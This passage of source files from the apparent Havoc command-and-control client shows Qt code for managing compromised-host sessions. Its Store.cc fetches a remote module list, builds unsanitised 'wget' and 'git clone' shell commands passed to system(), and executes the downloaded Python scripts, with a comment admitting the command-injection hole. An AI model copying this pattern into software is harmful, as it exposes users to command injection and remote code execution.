Qt::AlignCenter );\n    item_Process->setFlags( item_Process->flags() ^ Qt::ItemIsEditable );\n    SessionTableWidget->setItem( SessionTableWidget->rowCount()-1, 6, item_Process );\n\n    item_ProcessID->setText( item.PID );\n    item_ProcessID->setTextAlignment( Qt::AlignCenter );\n    item_ProcessID->setFlags( item_ProcessID->flags() ^ Qt::ItemIsEditable );\n    SessionTableWidget->setItem( SessionTableWidget->rowCount()-1, 7, item_ProcessID );\n\n    item_Last->setText( item.Last );\n    item_Last->setTextAlignment( Qt::AlignCenter );\n    item_Last->setFlags( item_Last->flags() ^ Qt::ItemIsEditable );\n    SessionTableWidget->setItem( SessionTableWidget->rowCount()-1, 8, item_Last );\n\n    item_Health->setText( item.Health );\n    item_Health->setTextAlignment( Qt::AlignCenter );\n    item_Health->setFlags( item_Health->flags() ^ Qt::ItemIsEditable );\n    SessionTableWidget->setItem( SessionTableWidget->rowCount()-1, 9, item_Health );\n\n    SessionTableWidget->setSortingEnabled( isSortingEnabled );\n\n    for ( auto & Session : HavocX::Teamserver.Sessions )\n    {\n        // TODO: make that on Session receive\n        if ( Session.InteractedWidget == nullptr )\n        {\n            auto AgentMessageInfo = QString();\n            auto prev_cursor      = QTextCursor();\n            auto PivotStream      = QString();\n\n            Session.InteractedWidget                 = new UserInterface::Widgets::DemonInteracted;\n            Session.InteractedWidget->SessionInfo    = Session;\n            Session.InteractedWidget->TeamserverName = this->TeamserverName;\n            Session.InteractedWidget->setupUi( new QWidget );\n\n            if ( item.PivotParent.size() > 0 ) {\n                PivotStream = \"[Pivot: \" + item.PivotParent + Util::ColorText::Cyan( \"-<>-<>-\" ) + item.Name + \"]\";\n                HavocX::Teamserver.TabSession->SessionGraphWidget->GraphPivotNodeAdd( item.PivotParent, item );\n            } else {\n                PivotStream = \"[Pivot: \"+ Util::ColorText::Cyan( \"Direct\" ) +\"]\";\n                HavocX::Teamserver.TabSession->SessionGraphWidget->GraphNodeAdd( item );\n            }\n\n            AgentMessageInfo =\n                    Util::ColorText::Comment( item.First ) + \" Agent \" + Util::ColorText::Red( item.Name.toUpper() ) + \" authenticated as \"+ Util::ColorText::Purple( item.Computer + \"\\\\\" + item.User ) +\n                    \" :: [Internal: \" + Util::ColorText::Cyan( item.Internal ) + \"] [Process: \" + Util::ColorText::Red( item.Process + \"\\\\\" + item.PID ) + \"] [Arch: \" + Util::ColorText::Pink( item.Arch ) + \"] \" + PivotStream;\n\n            prev_cursor = Session.InteractedWidget->Console->textCursor();\n\n            Session.InteractedWidget->Console->moveCursor( QTextCursor::End );\n            Session.InteractedWidget->Console->insertHtml( AgentMessageInfo );\n\n            Session.InteractedWidget->Console->setTextCursor( prev_cursor );\n        }\n    }\n}\n\nvoid UserInterface::Widgets::SessionTable::ChangeSessionValue( QString DemonID, int key, QString value )\n{\n    for ( int i = 0; i < SessionTableWidget->rowCount(); i++ ) {\n        if ( SessionTableWidget->item( i, 0 )->text() == DemonID ) {\n            SessionTableWidget->item( i, key )->setText( value );\n        }\n    }\n}\n\nvoid HavocNamespace::UserInterface::Widgets::SessionTable::updateRow()\n{\n    bool selected = false;\n\n    for ( int count = 0; count < SessionTableWidget->rowCount(); count++ )\n        if ( SessionTableWidget->item( count, 0 )->isSelected() )\n            selected = true;\n\n    if ( ! selected )\n        SessionTableWidget->clearFocus();\n}\n"
  },
  {
    "path": "client/src/UserInterface/Widgets/Store.cc",
    "content": "#include <UserInterface/Widgets/ScriptManager.h>\n#include <UserInterface/Widgets/TeamserverTabSession.h>\n#include <Havoc/DBManager/DBManager.hpp>\n\n#include <UserInterface/Widgets/Store.hpp>\n#include <global.hpp>\n\n#include <QScrollBar>\n\nvoid Store::setupUi( QWidget* Store)\n{\n    StoreWidget = Store;\n    QUrl url(\"https://raw.githubusercontent.com/p4p1/havoc-store/main/public/havoc-modules.json\");\n    QNetworkAccessManager* manager = new QNetworkAccessManager();\n    QNetworkReply *reply = manager->get(QNetworkRequest(url));\n\n    if ( Store->objectName().isEmpty() )\n        Store->setObjectName( QString::fromUtf8( \"Extentions\" ) );\n\n    horizontalLayout = new QHBoxLayout( Store );\n    horizontalLayout->setObjectName( QString::fromUtf8( \"horizontalLayout\" ) );\n\n    StoreSplitter = new QSplitter();\n\n    StoreLogger = new QTextEdit( /* PageLogger */ );\n    StoreLogger->setObjectName( QString::fromUtf8( \"StoreLogger\" ) );\n    StoreLogger->setReadOnly( true );\n\n    panelStore = new QWidget();\n    root_panelStore = new QWidget();\n    panelLayout = new QVBoxLayout(root_panelStore);\n\n    panelScroll = new QScrollArea(panelStore);\n    panelScroll->setWidgetResizable(true);\n    panelScroll->setWidget(root_panelStore);\n    panelScroll->setHorizontalScrollBarPolicy(Qt::ScrollBarAlwaysOff);\n\n    root_panelLayout = new QVBoxLayout(panelStore);\n    root_panelLayout->addWidget(panelScroll);\n\n    headerLabelTitle = new QLabel( \"<h1>Havoc Extentions!</h1>\", panelStore );\n    headerLabelTitle->setWordWrap(true);\n    panelLayout->addWidget(headerLabelTitle);\n    panelLabelAuthor = new QLabel( \"<span style='color:#71e0cb'>The author</span>\", panelStore );\n    panelLabelAuthor->setWordWrap(true);\n    panelLayout->addWidget(panelLabelAuthor);\n    panelLabelDescription = new QLabel( \"This tab is to install extentions inside of havoc!\", panelStore );\n    panelLabelDescription->setWordWrap(true);\n    panelLayout->addWidget(panelLabelDescription);\n    installButton = new QPushButton(\"Install\");\n    installButton->setEnabled(false);\n    panelLayout->addWidget(installButton);\n\n    StoreTable = new QTableWidget();\n    StoreTable->setColumnCount(2);\n\n    labelTitle = new QTableWidgetItem( \"Title\"       );\n    labelAuthor  = new QTableWidgetItem( \"Author\"      );\n    StoreTable->setHorizontalHeaderItem( 0, labelTitle   );\n    StoreTable->setHorizontalHeaderItem( 1, labelAuthor  );\n\n    StoreTable->setEnabled( true );\n    StoreTable->setShowGrid( false );\n    StoreTable->setSortingEnabled( false );\n    StoreTable->setWordWrap( true );\n    StoreTable->setCornerButtonEnabled( true );\n    StoreTable->horizontalHeader()->setVisible( true );\n    StoreTable->setSelectionBehavior( QAbstractItemView::SelectRows );\n    StoreTable->setContextMenuPolicy( Qt::CustomContextMenu );\n    StoreTable->horizontalHeader()->setSectionResizeMode( QHeaderView::ResizeMode::Stretch );\n    StoreTable->horizontalHeader()->setStretchLastSection( true );\n    StoreTable->setEditTriggers(QAbstractItemView::NoEditTriggers);\n    StoreTable->verticalHeader()->setVisible( false );\n    StoreTable->setFocusPolicy( Qt::NoFocus );\n\n    QObject::connect(reply, &QNetworkReply::finished, [reply, this]() {\n        if (reply->error() == QNetworkReply::NoError) {\n            QByteArray data = reply->readAll();\n            QJsonDocument jsonDoc = QJsonDocument::fromJson(data);\n\n            if (!jsonDoc.isNull() && jsonDoc.isArray()) {\n                this->dataStore = new QJsonArray(jsonDoc.array());\n                QJsonArray jsonArray = jsonDoc.array();\n                int row_num = 0;\n                this->StoreTable->setRowCount(jsonArray.size());\n                for (const QJsonValue &value : jsonArray) {\n                    if (value.isObject()) {\n                        QJsonObject jsonObj = value.toObject();\n                        QString title = jsonObj.value(\"title\").toString();\n                        QString author = jsonObj.value(\"author\").toString();\n\n                        QTableWidgetItem *title_widget= new QTableWidgetItem(title);\n                        QTableWidgetItem *author_widget = new QTableWidgetItem(author);\n                        this->StoreTable->setItem(row_num, 0, title_widget);\n                        this->StoreTable->setItem(row_num, 1, author_widget);\n                        row_num++;\n                    }\n                }\n            } else {\n                spdlog::error( \"[STORE] Failed to parse the JSON data\" );\n            }\n        } else {\n            spdlog::error( \"[STORE] Failed to get json from web\" );\n        }\n\n        reply->deleteLater();\n    });\n\n    QObject::connect(StoreTable, &QTableWidget::itemSelectionChanged, [this]() {\n        QList<QTableWidgetItem *> selectedItems = this->StoreTable->selectedItems();\n        if (!selectedItems.isEmpty()) {\n            displayData(selectedItems.first()->row());\n        }\n    });\n\n    QObject::connect(installButton, &QPushButton::clicked, [this]() {\n        QList<QTableWidgetItem *> selectedItems = this->StoreTable->selectedItems();\n        if (!selectedItems.isEmpty()) {\n            installScript(selectedItems.first()->row());\n        }\n    });\n\n\n    StoreSplitter->addWidget( StoreTable );\n    StoreSplitter->addWidget( panelStore );\n\n    horizontalLayout->addWidget( StoreSplitter );\n\n    retranslateUi(  );\n\n    QMetaObject::connectSlotsByName( StoreWidget );\n}\n\nvoid Store::displayData(int position)\n{\n    QJsonObject jsonObj = dataStore->at(position).toObject();\n    QString title = jsonObj.value(\"title\").toString();\n    QString description = jsonObj.value(\"description\").toString();\n    QString author = jsonObj.value(\"author\").toString();\n\n    headerLabelTitle->setText(QString(\"<h1>%1</h1>\").arg(title));\n    panelLabelDescription->setText(description);\n    panelLabelAuthor->setText(QString(\"<span style='color:#71e0cb'>%1</span>\").arg(author));\n    installButton->setEnabled(true);\n}\n\nbool Store::AddScript( QString Path )\n{\n    auto Script = FileRead( Path );\n    auto path   = Path.toStdString();\n    int  Return = 0;\n\n    HavocX::Teamserver.LoadingScript = Path.toStdString();\n\n    if ( Script != nullptr ) {\n        if ( ! Script.isEmpty() ) {\n            Return = PyRun_SimpleStringFlags( Script.toStdString().c_str(), NULL );\n            if ( Return == -1 ) {\n                spdlog::error( \"Failed to run script: {}\", path );\n            } else {\n                return true;\n            }\n        }\n        else {\n            spdlog::error( \"Script path not found: {}\", path );\n        }\n    } else {\n        spdlog::error( \"Failed to load script: {}\", path );\n    }\n\n    HavocX::Teamserver.LoadingScript = \"\";\n\n    return false;\n}\n\nvoid Store::installScript(int position)\n{\n    QString gistUrl = \"https://gist.githubusercontent.com/%1/%2/raw/%3\";\n\n    QJsonObject jsonObj = dataStore->at(position).toObject();\n    QString url = jsonObj.value(\"link\").toString();\n    QString entrypoint = jsonObj.value(\"entrypoint\").toString();\n    QString author = jsonObj.value(\"author\").toString();\n\n    QString currentPath = QDir::currentPath();\n    QDir extension_path(QString(\"./data/extensions\"));\n\n    if (!extension_path.exists()) {\n        QDir tmp_dir(currentPath);\n        tmp_dir.mkpath(QString(\"./data/extensions\"));\n    }\n    int is_gist = url.indexOf(QString(\"gist.github.com\"));\n    if (is_gist != -1) {\n        QStringList urlParts = url.split('/');\n        QString github_hash = urlParts.last();\n\n        QString downloadURL = gistUrl.arg(author, github_hash, entrypoint);\n        QString pathScript = QString(\"%1/data/extensions/%2\").arg(currentPath).arg(entrypoint);\n        QString command = QString(\"wget %1 -O %2\").arg(downloadURL).arg(pathScript);\n\n        // Yes there is a command injection vulnerability here. Now this is not the best\n        // but since the front-end will be fully redone I am not putting to much effort\n        // here it's just to code the base concept nothing else :)\n        system(command.toUtf8().constData());\n\n        if ( AddScript( pathScript ) ) {\n            if ( ! HavocX::Teamserver.TabSession->dbManager->CheckScript(pathScript) )\n                HavocX::Teamserver.TabSession->dbManager->AddScript(pathScript);\n        }\n    } else { // Must be a repo then and not a gist ^^ now we can be happy for that entrypoint var\n        QStringList urlParts = url.split('/');\n        QString repo_name = urlParts.last();\n        QString pathScript = QString(\"%1/data/extensions/%2/%3\").arg(currentPath).arg(repo_name).arg(entrypoint);\n        QString command = QString(\"git clone --recurse-submodules --remote-submodules %1 %2/data/extensions/%3\").arg(url).arg(currentPath).arg(repo_name);\n\n        system(command.toUtf8().constData());\n        if ( AddScript( pathScript ) ) {\n            if ( ! HavocX::Teamserver.TabSession->dbManager->CheckScript(pathScript) )\n                HavocX::Teamserver.TabSession->dbManager->AddScript(pathScript);\n        }\n    }\n}\n\nvoid Store::retranslateUi()\n{\n    StoreWidget->setWindowTitle( QCoreApplication::translate( \"Extentions\", \"Extentions\", nullptr ) );\n}\n"
  },
  {
    "path": "client/src/UserInterface/Widgets/Teamserver.cc",
    "content": "#include <UserInterface/Widgets/Teamserver.hpp>\n\n#include <QScrollBar>\n\nvoid Teamserver::setupUi( QWidget* Teamserver )\n{\n    TeamserverWidget = Teamserver;\n\n    if ( Teamserver->objectName().isEmpty() )\n        Teamserver->setObjectName( QString::fromUtf8( \"Teamserver\" ) );\n\n    gridLayout = new QGridLayout( Teamserver );\n    gridLayout->setObjectName( QString::fromUtf8( \"gridLayout\" ) );\n\n    TeamserverLogger = new QTextEdit( /* PageLogger */ );\n    TeamserverLogger->setObjectName( QString::fromUtf8( \"TeamserverLogger\" ) );\n    TeamserverLogger->setReadOnly( true );\n\n    gridLayout->addWidget( TeamserverLogger, 0, 0, 0, 0 );\n\n    retranslateUi(  );\n\n    QMetaObject::connectSlotsByName( TeamserverWidget );\n}\n\nvoid Teamserver::retranslateUi()\n{\n    TeamserverWidget->setWindowTitle( QCoreApplication::translate( \"Teamserver\", \"Teamserver\", nullptr ) );\n}\n\nvoid Teamserver::AddLoggerText( const QString& Text ) const\n{\n    TeamserverLogger->append( Text );\n    TeamserverLogger->verticalScrollBar()->setValue( TeamserverLogger->verticalScrollBar()->maximum() );\n}\n"
  },
  {
    "path": "client/src/UserInterface/Widgets/TeamserverTabSession.cc",
    "content": "#include <global.hpp>\n\n#include <UserInterface/Widgets/TeamserverTabSession.h>\n#include <UserInterface/Widgets/SessionTable.hpp>\n#include <UserInterface/Widgets/SessionGraph.hpp>\n#include <UserInterface/Widgets/DemonInteracted.h>\n#include <UserInterface/Widgets/ProcessList.hpp>\n#include <UserInterface/Widgets/Chat.hpp>\n#include <UserInterface/Widgets/LootWidget.h>\n#include <UserInterface/Widgets/FileBrowser.hpp>\n\n#include <UserInterface/SmallWidgets/EventViewer.hpp>\n\n#include <Util/ColorText.h>\n#include <Havoc/Packager.hpp>\n#include <Havoc/Connector.hpp>\n\n#include <QFile>\n#include <QToolButton>\n#include <QHeaderView>\n#include <QByteArray>\n#include <QKeyEvent>\n#include <QShortcut>\n\nusing namespace UserInterface::Widgets;\n\nvoid HavocNamespace::UserInterface::Widgets::TeamserverTabSession::setupUi( QWidget* Page, QString TeamserverName )\n{\n    TeamserverName = TeamserverName;\n    PageWidget = Page;\n\n    SmallAppWidgets = new SmallAppWidgets_t;\n    SmallAppWidgets->EventViewer = new UserInterface::SmallWidgets::EventViewer;\n    SmallAppWidgets->EventViewer->setupUi( new QWidget );\n    SmallAppWidgets->EventViewer->AppendText( CurrentDateTime(), \"Havoc Framework [Version: \" + QString( Version.c_str() ) + \"] [CodeName: \" + QString( CodeName.c_str() ) + \"]\" );\n\n    auto MenuStyle = QString(\n        \"QMenu {\"\n        \"    background-color: #282a36;\"\n        \"    color: #f8f8f2;\"\n        \"    border: 1px solid #44475a;\"\n        \"}\"\n        \"QMenu::separator {\"\n        \"    background: #44475a;\"\n        \"}\"\n        \"QMenu::item:selected {\"\n        \"    background: #44475a;\"\n        \"}\"\n        \"QAction {\"\n        \"    background-color: #282a36;\"\n        \"    color: #f8f8f2;\"\n        \"}\"\n    );\n\n    gridLayout = new QGridLayout(PageWidget);\n    gridLayout->setObjectName(QString::fromUtf8(\"gridLayout\"));\n    gridLayout->setContentsMargins(0, 0, 0, 0);\n\n    splitter_TopBot = new QSplitter(PageWidget);\n    splitter_TopBot->setOrientation(Qt::Vertical);\n    splitter_TopBot->setContentsMargins(0, 0, 0, 0);\n\n    layoutWidget = new QWidget( splitter_TopBot );\n\n    verticalLayout  = new QVBoxLayout( layoutWidget );\n    verticalLayout->setContentsMargins( 3, 3, 3, 3 );\n\n    MainViewWidget   = new QStackedWidget( );\n    SessionTablePage = new QWidget( );\n\n    gridLayout_2 = new QGridLayout( SessionTablePage );\n    gridLayout_2->setObjectName( QString::fromUtf8( \"gridLayout_2\" ) );\n    gridLayout_2->setContentsMargins( 0, 0, 0, 0 );\n\n    splitter_SessionAndTabs = new QSplitter( layoutWidget );\n    splitter_SessionAndTabs->setOrientation( Qt::Horizontal );\n\n    SessionTableWidget = new HavocNamespace::UserInterface::Widgets::SessionTable;\n    SessionTableWidget->setupUi( new QTableWidget(), TeamserverName );\n    SessionTableWidget->setFocusPolicy( Qt::NoFocus );\n\n    SessionGraphWidget = new GraphWidget( MainViewWidget );\n\n    // Session Table\n    MainViewWidget->addWidget( SessionTableWidget->SessionTableWidget );\n    MainViewWidget->addWidget( SessionGraphWidget );\n    MainViewWidget->setCurrentIndex( 0 );\n\n    splitter_SessionAndTabs->addWidget( MainViewWidget );\n\n    tabWidgetSmall = new QTabWidget( splitter_SessionAndTabs );\n    tabWidgetSmall->setObjectName( QString::fromUtf8( \"tabWidgetSmall\" ) );\n    tabWidgetSmall->setMovable( false );\n\n    splitter_SessionAndTabs->addWidget( tabWidgetSmall );\n\n    gridLayout_2->addWidget( splitter_SessionAndTabs, 0, 0, 1, 1 );\n\n    verticalLayout->addWidget( SessionTablePage );\n\n    splitter_TopBot->addWidget( layoutWidget );\n    tabWidget = new QTabWidget( splitter_TopBot );\n    tabWidget->setObjectName( QString::fromUtf8( \"tabWidget\" ) );\n    splitter_TopBot->addWidget( tabWidget );\n\n    gridLayout->addWidget(splitter_TopBot, 0, 0, 1, 1);\n\n    TeamserverChat = new UserInterface::Widgets::Chat;\n    TeamserverChat->TeamserverName = HavocX::Teamserver.Name;\n    TeamserverChat->setupUi( new QWidget );\n\n    NewBottomTab( TeamserverChat->ChatWidget, \"Teamserver Chat\", \":/icons/users\" );\n    tabWidget->setCurrentIndex( 0 );\n    tabWidget->setMovable( false );\n\n    LootWidget = new ::LootWidget;\n\n    NewWidgetTab( SmallAppWidgets->EventViewer->EventViewer, \"Event Viewer\" );\n\n    connect( SessionTableWidget->SessionTableWidget, &QTableWidget::customContextMenuRequested, this, &TeamserverTabSession::handleDemonContextMenu );\n    connect( tabWidget->tabBar(), &QTabBar::tabCloseRequested, this, [&]( int index )\n    {\n        if ( index == -1 )\n            return;\n\n        tabWidget->removeTab( index );\n\n        if ( tabWidget->count() == 0 )\n        {\n            splitter_TopBot->setSizes( QList<int>() << 0 );\n            splitter_TopBot->setStyleSheet( \"QSplitter::handle {  image: url(images/notExists.png); }\" );\n        }\n        else if ( tabWidget->count() == 1 )\n        {\n            tabWidget->setMovable( false );\n        }\n    } );\n\n    connect( tabWidgetSmall->tabBar(), &QTabBar::tabCloseRequested, this, &TeamserverTabSession::removeTabSmall );\n\n    connect( SessionTableWidget->SessionTableWidget, &QTableWidget::doubleClicked, this, [&]( const QModelIndex &index ) {\n        auto SessionID = SessionTableWidget->SessionTableWidget->item( index.row(), 0 )->text();\n\n        for ( const auto& Session : HavocX::Teamserver.Sessions )\n        {\n            if ( Session.Name.compare( SessionID ) == 0 )\n            {\n                auto tabName = \"[\" + Session.Name + \"] \" + Session.User + \"/\" + Session.Computer;\n                for ( int i = 0 ; i < HavocX::Teamserver.TabSession->tabWidget->count(); i++ )\n                {\n                    if ( HavocX::Teamserver.TabSession->tabWidget->tabText( i ) == tabName )\n                    {\n                        HavocX::Teamserver.TabSession->tabWidget->setCurrentIndex( i );\n                        return;\n                    }\n                }\n\n                HavocX::Teamserver.TabSession->NewBottomTab( Session.InteractedWidget->DemonInteractedWidget, tabName.toStdString() );\n                Session.InteractedWidget->lineEdit->setFocus();\n            }\n        }\n    } );\n}\n\nvoid UserInterface::Widgets::TeamserverTabSession::handleDemonContextMenu( const QPoint &pos )\n{\n    if ( ! SessionTableWidget->SessionTableWidget->itemAt( pos ) ) {\n        return;\n    }\n\n    auto MenuStyle  = QString(\n        \"QMenu {\"\n        \"    background-color: #282a36;\"\n        \"    color: #f8f8f2;\"\n        \"    border: 1px solid #44475a;\"\n        \"}\"\n        \"QMenu::separator {\"\n        \"    background: #44475a;\"\n        \"}\"\n        \"QMenu::item:selected {\"\n        \"    background: #44475a;\"\n        \"}\"\n        \"QAction {\"\n        \"    background-color: #282a36;\"\n        \"    color: #f8f8f2;\"\n        \"}\"\n    );\n\n    auto SessionID = SessionTableWidget->SessionTableWidget->item( SessionTableWidget->SessionTableWidget->currentRow(), 0 )->text();\n    auto Agent     = Util::SessionItem{};\n\n    for ( auto s : HavocX::Teamserver.Sessions )\n    {\n        if ( s.Name.compare( SessionID ) == 0 )\n        {\n            Agent = s;\n            break;\n        }\n    }\n\n    auto separator  = new QAction();\n    auto separator2 = new QAction();\n    auto separator3 = new QAction();\n    auto separator4 = new QAction();\n\n    separator->setSeparator( true );\n    separator2->setSeparator( true );\n    separator3->setSeparator( true );\n    separator4->setSeparator( true );\n\n    auto SessionMenu     = QMenu();\n    auto SessionExplorer = QMenu( \"Explorer\" );\n    auto ExitMenu        = QMenu( \"Exit\" );\n    auto ColorMenu       = QMenu( \"Color\" );\n\n    ColorMenu.addAction( \"Reset\" );\n    ColorMenu.addAction( \"Red\" );\n    ColorMenu.addAction( \"Blue\" );\n    ColorMenu.addAction( \"Yellow\" );\n    ColorMenu.addAction( \"Pink\" );\n    ColorMenu.addAction( \"Green\" );\n    ColorMenu.addAction( \"Purple\" );\n    ColorMenu.addAction( \"Orange\" );\n\n    ColorMenu.setStyleSheet( MenuStyle );\n\n    SessionExplorer.addAction( \"Process List\" );\n    SessionExplorer.addAction( \"File Explorer\" );\n    SessionExplorer.setStyleSheet( MenuStyle );\n\n    ExitMenu.addAction( \"Thread\" );\n    ExitMenu.addAction( \"Process\" );\n    ExitMenu.setStyleSheet( MenuStyle );\n\n    SessionMenu.addAction( \"Interact\" );\n    SessionMenu.addAction( separator );\n\n    if ( Agent.MagicValue == DemonMagicValue )\n    {\n        SessionMenu.addAction( SessionExplorer.menuAction() );\n        SessionMenu.addAction( separator2 );\n    }\n\n    if ( Agent.Marked.compare( \"Dead\" ) != 0 )\n        SessionMenu.addAction( \"Mark as Dead\" );\n    else\n        SessionMenu.addAction( \"Mark as Alive\" );\n\n    SessionMenu.addAction( ColorMenu.menuAction() );\n\n    SessionMenu.addAction( \"Export\" );\n    SessionMenu.addAction( separator3 );\n    SessionMenu.addAction( \"Remove\" );\n\n    if ( Agent.MagicValue == DemonMagicValue )\n    {\n        SessionMenu.addAction( ExitMenu.menuAction() );\n    }\n    else\n    {\n        SessionMenu.addAction( \"Exit\" );\n    }\n\n    SessionMenu.setStyleSheet( MenuStyle );\n\n    auto *action = SessionMenu.exec( SessionTableWidget->SessionTableWidget->horizontalHeader()->viewport()->mapToGlobal( pos ) );\n\n    if ( action )\n    {\n        for ( auto& Session : HavocX::Teamserver.Sessions )\n        {\n            // TODO: make that on Session receive\n            if ( Session.InteractedWidget == nullptr )\n            {\n                Session.InteractedWidget                 = new UserInterface::Widgets::DemonInteracted;\n                Session.InteractedWidget->SessionInfo    = Session;\n                Session.InteractedWidget->TeamserverName = HavocX::Teamserver.Name;\n                Session.InteractedWidget->setupUi( new QWidget );\n            }\n\n            if ( Session.Name.compare( SessionID ) == 0 )\n            {\n                if ( action->text().compare( \"Interact\" ) == 0 )\n                {\n                    auto tabName = \"[\" + Session.Name + \"] \" + Session.User + \"/\" + Session.Computer;\n                    for ( int i = 0 ; i < HavocX::Teamserver.TabSession->tabWidget->count(); i++ )\n                    {\n                        if ( HavocX::Teamserver.TabSession->tabWidget->tabText( i ) == tabName )\n                        {\n                            HavocX::Teamserver.TabSession->tabWidget->setCurrentIndex( i );\n                            return;\n                        }\n                    }\n\n                    HavocX::Teamserver.TabSession->NewBottomTab( Session.InteractedWidget->DemonInteractedWidget, tabName.toStdString() );\n                    Session.InteractedWidget->lineEdit->setFocus();\n                }\n                else if ( action->text().compare( \"Red\" ) == 0 || action->text().compare( \"Blue\" ) == 0 || action->text().compare( \"Pink\" ) == 0 || action->text().compare( \"Yellow\" ) == 0 || action->text().compare( \"Green\" ) == 0 || action->text().compare( \"Purple\" ) == 0 || action->text().compare( \"Orange\" ) == 0 || action->text().compare( \"Reset\" ) == 0 ){\n\n                    for ( int i = 0; i < HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->rowCount(); ++i ){\n                        auto AgentID = HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item(i, 0)->text();\n\n                        if(AgentID.compare( SessionID ) == 0 )\n                        {\n\n                            QColor CurrentColor;\n\n                            if( action->text().compare(\"Red\") == 0 )\n                                CurrentColor = QColor( Util::ColorText::Colors::Hex::SessionRed );\n                            else if( action->text().compare(\"Blue\") == 0 )\n                                CurrentColor = QColor( Util::ColorText::Colors::Hex::SessionCyan );\n                            else if( action->text().compare(\"Pink\") == 0 )\n                                CurrentColor = QColor( Util::ColorText::Colors::Hex::SessionPink );\n                            else if( action->text().compare(\"Yellow\") == 0 )\n                                CurrentColor = QColor( Util::ColorText::Colors::Hex::SessionYellow );\n                            else if( action->text().compare(\"Green\") == 0 )\n                                CurrentColor = QColor( Util::ColorText::Colors::Hex::SessionGreen );\n                            else if( action->text().compare(\"Purple\") == 0 )\n                                CurrentColor = QColor( Util::ColorText::Colors::Hex::SessionPurple );\n                            else if( action->text().compare(\"Orange\") == 0 )\n                                CurrentColor = QColor( Util::ColorText::Colors::Hex::SessionOrange );\n                            else\n                                CurrentColor = QColor( Util::ColorText::Colors::Hex::Background );\n\n                            for ( int j = 0; j < HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->columnCount(); j++ )\n                            {\n                                HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item(i, j)->setBackground( CurrentColor );\n                            }\n\n                        }\n                    }\n                    \n                }\n                else if ( action->text().compare( \"Mark as Dead\" ) == 0 || action->text().compare( \"Mark as Alive\" ) == 0 )\n                {\n                    for ( int i = 0; i <  HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->rowCount(); i++ )\n                    {\n                        auto AgentID = HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, 0 )->text();\n\n                        if ( AgentID.compare( SessionID ) == 0 )\n                        {\n                            auto Package = new Util::Packager::Package;\n\n                            Package->Head = Util::Packager::Head_t {\n                                    .Event= Util::Packager::Session::Type,\n                                    .User = HavocX::Teamserver.User.toStdString(),\n                                    .Time = CurrentTime().toStdString(),\n                            };\n\n                            auto Marked = QString();\n\n                            if ( action->text().compare( \"Mark as Alive\" ) == 0 )\n                            {\n                                Marked = \"Alive\";\n                                Session.Marked = Marked;\n\n                                auto Icon = ( Session.Elevated.compare( \"true\" ) == 0 ) ?\n                                            WinVersionIcon( Session.OS, true ) :\n                                            WinVersionIcon( Session.OS, false );\n\n                                HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, 0 )->setIcon( Icon );\n\n                                for ( int j = 0; j < HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->columnCount(); j++ )\n                                {\n                                    HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, j )->setBackground( QColor( Util::ColorText::Colors::Hex::Background ) );\n                                    HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, j )->setForeground( QColor( Util::ColorText::Colors::Hex::Foreground ) );\n                                }\n                            }\n                            else if ( action->text().compare( \"Mark as Dead\" ) == 0 )\n                            {\n                                Marked = \"Dead\";\n                                Session.Marked = Marked;\n\n                                HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, 0 )->setIcon( QIcon( \":/icons/DeadWhite\" ) );\n\n                                for ( int j = 0; j < HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->columnCount(); j++ )\n                                {\n                                    HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, j )->setBackground( QColor( Util::ColorText::Colors::Hex::CurrentLine ) );\n                                    HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, j )->setForeground( QColor( Util::ColorText::Colors::Hex::Comment ) );\n                                }\n                            }\n\n                            Package->Body = Util::Packager::Body_t {\n                                    .SubEvent = 0x5,\n                                    .Info = {\n                                        { \"AgentID\", AgentID.toStdString() },\n                                        { \"Marked\",  Marked.toStdString() },\n                                    }\n                            };\n\n                            HavocX::Connector->SendPackage( Package );\n                        }\n                    }\n                }\n                else if ( action->text().compare( \"Export\" ) == 0 )\n                {\n                    Session.Export();\n                }\n                else if ( action->text().compare( \"Remove\" ) == 0 )\n                {\n                    auto SessionID = SessionTableWidget->SessionTableWidget->item( SessionTableWidget->SessionTableWidget->currentRow(), 0 )->text();\n\n                    for ( auto & Session : HavocX::Teamserver.Sessions )\n                    {\n                        if ( SessionID.compare( Session.Name ) == 0 )\n                        {\n                            SessionTableWidget->SessionTableWidget->removeRow( SessionTableWidget->SessionTableWidget->currentRow() );\n                            HavocX::Teamserver.TabSession->SessionGraphWidget->GraphNodeRemove( Session );\n                        }\n                    }\n                }\n                else if ( action->text().compare( \"Thread\" ) == 0 || action->text().compare( \"Process\" ) == 0 )\n                {\n                    Session.InteractedWidget->AppendText( \"exit \" + action->text().toLower() );\n                }\n\n                if ( Session.MagicValue == DemonMagicValue )\n                {\n                    if ( action->text().compare( \"Process List\" ) == 0 )\n                    {\n                        auto TabName = QString( \"[\" + SessionID + \"] Process List\" );\n\n                        if ( Session.ProcessList == nullptr )\n                        {\n                            Session.ProcessList = new UserInterface::Widgets::ProcessList;\n                            Session.ProcessList->setupUi( new QWidget );\n                            Session.ProcessList->Session = Session;\n                            Session.ProcessList->Teamserver = HavocX::Teamserver.Name;\n\n                            HavocX::Teamserver.TabSession->NewBottomTab( Session.ProcessList->ProcessListWidget, TabName.toStdString() );\n                            Session.InteractedWidget->DemonCommands->Execute.ProcList( Util::gen_random( 8 ).c_str(), true );\n                        }\n                        else\n                        {\n                            HavocX::Teamserver.TabSession->NewBottomTab( Session.ProcessList->ProcessListWidget, TabName.toStdString() );\n                        }\n                    }\n                    else if ( action->text().compare( \"File Explorer\" ) == 0 )\n                    {\n                        auto TabName = QString( \"[\" + SessionID + \"] File Explorer\" );\n\n                        if ( Session.FileBrowser == nullptr )\n                        {\n                            Session.FileBrowser = new FileBrowser;\n                            Session.FileBrowser->setupUi( new QWidget );\n                            Session.FileBrowser->SessionID = Session.Name;\n\n                            